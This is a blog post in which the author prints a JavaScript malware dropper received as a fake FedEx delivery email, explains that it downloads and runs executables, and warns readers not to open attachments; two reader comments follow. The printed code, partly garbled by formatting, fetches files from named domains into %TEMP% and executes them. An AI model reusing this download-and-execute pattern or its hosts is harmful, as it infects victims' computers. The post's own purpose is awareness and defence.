Another package of Javascript malware

mon

I wish I were a javascript programmer.

Here’s the code that came to me via email in a .zip file, under the malicious guise of a FedEx delivery label (it was packaged to look like the code you see in my previous post.)


var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function cwm() { return ‘e’; };

function xn() { return ‘val’; };

function dl(fr) { var b = “dickinsonwrestlingclub.com etqy.com soflectplit(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shell”); var fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er)) { return ‘.c {}; if (dn == 1) break; } }; dl(7) { return ‘om”.s971); dl(6202’; };  var xv = ”; ); dl(613);

for (var rlh=1; rlh<=225; rlh++) { xv += this[‘xn’+rlh](); } this[cwm()+xn()](xv);

Subject: Problems with item delivery, n.00000732560

From: “FedEx International MailService” <seth.mcdowell@77.241.83.157.static.hosted.by.combell.com>

Dear Customer,

 I have said before and will say cheerfully again, Don’t Open Attachments from People You Don’t Know. Just don’t. Files labelled .zip, .exe, .js, or even .doc, .pdf, and others can be malicious. Sadly, too many people suppress the display of file extensions on their machine, because that’s the default Microsoft has herded people into, and it’s dangerous.

The code goes out to these websites and downloads other files, and then runs them. What will happen to your computer next is anyone’s guess. That’s why I wish I knew javascript better, so I could determine exactly what was being downloaded and what it is supposed to do.

Whatever the case, stay away from attachments in your email.

The Old Wolf has spoken.

  1. I’m really curious about what kind of a system you have that allows you to open these things without a major catastrophe. Trouble is, I have no understanding of most of what’s in this post. Is there any way you could explain it to somebody who doesn’t speak computer? 😦

    • Bottom line is that these attachments are programs, but are designed to look like something else. People who download them and click on them are effectively opening their computers to the bad boys, who then load other programs onto your computer without your permission. And you’re basically toast. The takeaway is to never click on attachments in emails unless you’re 100% sure of what it is and whom it’s from.

  2. I know you are an intelligent guy but if you google “How can I step through javascript code?”, you get a list of possible javascript debugging tools that you can step through your evil code with and see what values those variables can take. Some of those tools are built in to browsers such as Firefox and Chrome.

    Rewriting the javascript code in “standard” form might also help in figuring out what it is doing.
